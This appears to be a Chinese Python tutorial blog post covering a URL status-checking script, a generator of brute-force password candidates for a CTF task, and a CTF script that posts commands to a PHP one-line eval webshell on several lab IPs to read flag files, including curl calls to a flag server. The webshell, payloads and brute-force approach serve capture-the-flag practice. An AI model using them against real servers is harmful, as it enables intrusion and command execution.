赞
踩
假设我们要对一份 url 列表进行访问是不是 200 ,
量多的话肯定不能一个一个去点开看,
这个时候我们可以借助脚本去判断,
假如有一份这样的列表,
这份列表呢,奇奇怪怪,有些写错了,有些没补全。
- http://www.baidu.com
- htt://www.sql.com
- https://www.taobao.com
- www.jd.com
- https://www.360.com
- http://www.suning.com
- www.meituan.com
- https://www.mi.com
现在呢,我们有了一份奇怪的列表要去判断,
当然这是教程,就从最简单的开始讲。
首先进行分解操作,先把列表内容读取出来,
假设这份列表在 D 盘,名为 url.txt
- file = open('D:/url.txt','r') # 使用读的方式打开文件
-
- for url in file.readlines(): # 每次读取一行内容
- print(url)
-
- file.close()
现在来看看代码运行的结果
可以看到读取的时候多了一个回车 ,
这个时候我们可以使用 strip() 方法来消除回车
strip() 方法用于移除字符串头尾指定的字符(默认为空格)或字符序列。
- file = open('D:/url.txt','r')
-
- for url in file.readlines():
- url = url.strip('\n') # 清除回车
- print(url)
-
- file.close() # 关闭文件
最后结尾不要忘记关闭文件哦!!
现在再来看看效果,已经没有回车了
第二步就是要把这些没有写的协议,或者没有补全的协议全部替换为我们的内容,
不管用户输入的是什么,都替换为我们安排的内容,
现在呢,代码是这样子的,需要把一些标签替换为空,把 url 变为原始样貌
这里就直接暴力替换了
- file = open('D:/url.txt','r')
-
- for url in file.readlines():
- url = url.strip('\n')
-
- url = url.replace('\n','') # 把回车替换为空
- url = url.replace('htt://','')
- url = url.replace('http://','')
- url = url.replace('https://','')
-
- print(url)
-
- file.close()
现在来看看运行效果
现在我们就可以开始编写 Check 脚本了
这个就是判断状态码是不是 200 了
编写思路为首先使用 http 去访问,如果不行再换成 https
因为有些网站 http 访问不了,要使用 https 才可以
- import requests
- import time
-
- def Check(url):
-
- headers = {
-
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
- 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
- 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
- }
-
- try:
-
- urls = 'http://'+url # 首先使用 http 去访问 http://www.xxx.com
-
- r = requests.get(urls,headers=headers,timeout=5)
-
- if r.status_code == 200: # 判断状态码是不是 200
-
- print(urls + ' ----> ' + str(r.status_code))
-
- except:
-
- try:
-
- urls = 'https://'+url # 如果 http 不行再使用 https
-
- r = requests.get(urls,headers=headers,timeout=5)
-
- if r.status_code == 200: # 判断状态码是不是 200
-
- print(urls + ' ----> ' + str(r.status_code))
-
- except:
-
- print(urls + ' ----> 无法访问 ')
-
-
- file = open('D:/url.txt','r')
-
- for url in file.readlines():
- url = url.strip('\n')
-
- url = url.replace('\n','')
- url = url.replace('htt://','')
- url = url.replace('http://','')
- url = url.replace('https://','')
-
- Check(url)
-
- file.close()
接下来看看运行效果
为了更方便一点,我们可以将能访问和不能访问的 url 写入到文件中
这样的话找起来也方便一点
- import requests
- import time
-
- def Check(url):
-
- headers = {
-
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
- 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
- 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
- }
-
- try:
-
- urls = 'http://'+url
-
- r = requests.get(urls,headers=headers,timeout=5)
-
- if r.status_code == 200:
-
- # 将可以访问的 url 写入到 D 盘下的 可以访问列表.txt 文件
-
- f = open('D:/可以访问列表.txt','a+')
- f.write(urls+'\n')
- f.close()
-
- # print(urls + ' ----> ' + str(r.status_code))
-
- except:
-
- try:
-
- urls = 'https://'+url
-
- r = requests.get(urls,headers=headers,timeout=5)
-
- if r.status_code == 200:
-
- # print(urls + ' ----> ' + str(r.status_code))
-
- except:
-
- # 将不能访问的 url 写入到 D 盘下的 error.txt 文件
-
- f = open('D:/error.txt','a+')
- f.write(urls+'\n')
- f.close()
-
- # print(urls + ' ----> 无法访问 ')
-
-
- file = open('D:/url.txt','r')
-
- for url in file.readlines():
- url = url.strip('\n')
-
- url = url.replace('\n','')
- url = url.replace('htt://','')
- url = url.replace('http://','')
- url = url.replace('https://','')
-
- Check(url)
-
- file.close()
最后结果就是这样
这个脚本源自于一道ctf题,
在解题的过程中,只能看到一半的密码,
剩下的就需要生成密码爆破了。
首先还是先学习下相关模块
string 模块中定义了一些常用的属性(包含所有数字,字母,可打印的所有ascii码等)
常用的一些属性:
- string.ascii_letters # 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
- string.ascii_lowercase # 'abcdefghijklmnopqrstuvwxyz'
- string.ascii_uppercase # 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
- string.digits # '0123456789'
- string.hexdigits # '0123456789abcdefABCDEF'
- string.octdigits # '01234567'
- string.printable # '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTU...
- string.punctuation # '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
- string.whitespace # ' \t\n\r\x0b\x0c'
使用也很简单
例:
- import string
-
- pwd = string.octdigits
-
- print(pwd)
-
- # 打印 01234567
也可以使用 for 循环读取字符
例:
- import string
-
- for pwd in string.octdigits:
-
- print(pwd)
现在假设有一个5位数密码 abcxx,
我们只知道前三位,然后需要去爆破后两位,
假设后两位是数字和字母组合,
那么我们就生成他
- import string
-
- pwd = 'abc'
-
- for x in string.ascii_letters:
- for y in string.digits:
- password = pwd + x + y
- print(password)
现在我们来看看运行效果,
这样就生成了,
当然如果想要写入到 txt 文本中也行 ,
- import string
-
- pwd = 'abc'
-
- for x in string.ascii_letters:
- for y in string.digits:
- password = pwd + x + y
- # print(password)
- file = open('D:/pwd.txt','a+')
- file.write(password+'\n')
- file.close()
这样就完成了
在ctf比赛中,为了能够快速获取flag,获得更多的分数,
我们通常需要配合脚本一起完成。
下面假设我们已经获取了shell,接下来就批量获取flag了。
假设 flag 在网站根目录,flag 为 flag{hello}
这个shell为一句话, <?php error_reporting(0);eval($_POST[cmd]);?>
写法就跟前面提到的 批量poc差不多,也跟 UrlCheck 差不多,
只不过是 这里使用 post 提交
- import requests
- import time
-
- def getflag(url):
-
- try:
-
- # url = 'http://localhost/shell.php'
-
- headers = {
-
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
- 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
- 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'
-
- }
-
- payload = {"cmd":"system('type flag.txt');"}
-
- r = requests.post(url,headers=headers,data=payload,timeout=1)
-
- if r.text:
- print(url+' -----> '+r.text)
- # print(r.text)
-
- except:
-
- # print(url+' -----> error')
- return # return 一个空
-
-
- dic = [
-
- 'http://192.168.1.2/shell.php',
- 'http://192.168.1.3/shell.php',
- 'http://192.168.1.4/shell.php',
- 'http://192.168.1.5/shell.php',
- 'http://localhost/shell2.php',
-
- ]
-
- for url in dic:
- getflag(url)
运行效果
这里使用内置字典,当然也使用外置,
另外因为实验环境是 win ,所以使用 type 命令获取内容,
比赛一般是 Linux 服务器,使用 cat 命令,
当然,比赛一般有两种获取flag的方式,
一种是从网站根目录下获取,
另外一种是 通过 flag box 去读取,
那么system('type flag.txt');
命令就应该换成 system('curl http://10.0.0.1');
如果需要 token的话,那么就是 system('curl http://10.0.0.1?token=ab13bakj3baj1kkab1');
好了,就到这里吧!!!
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。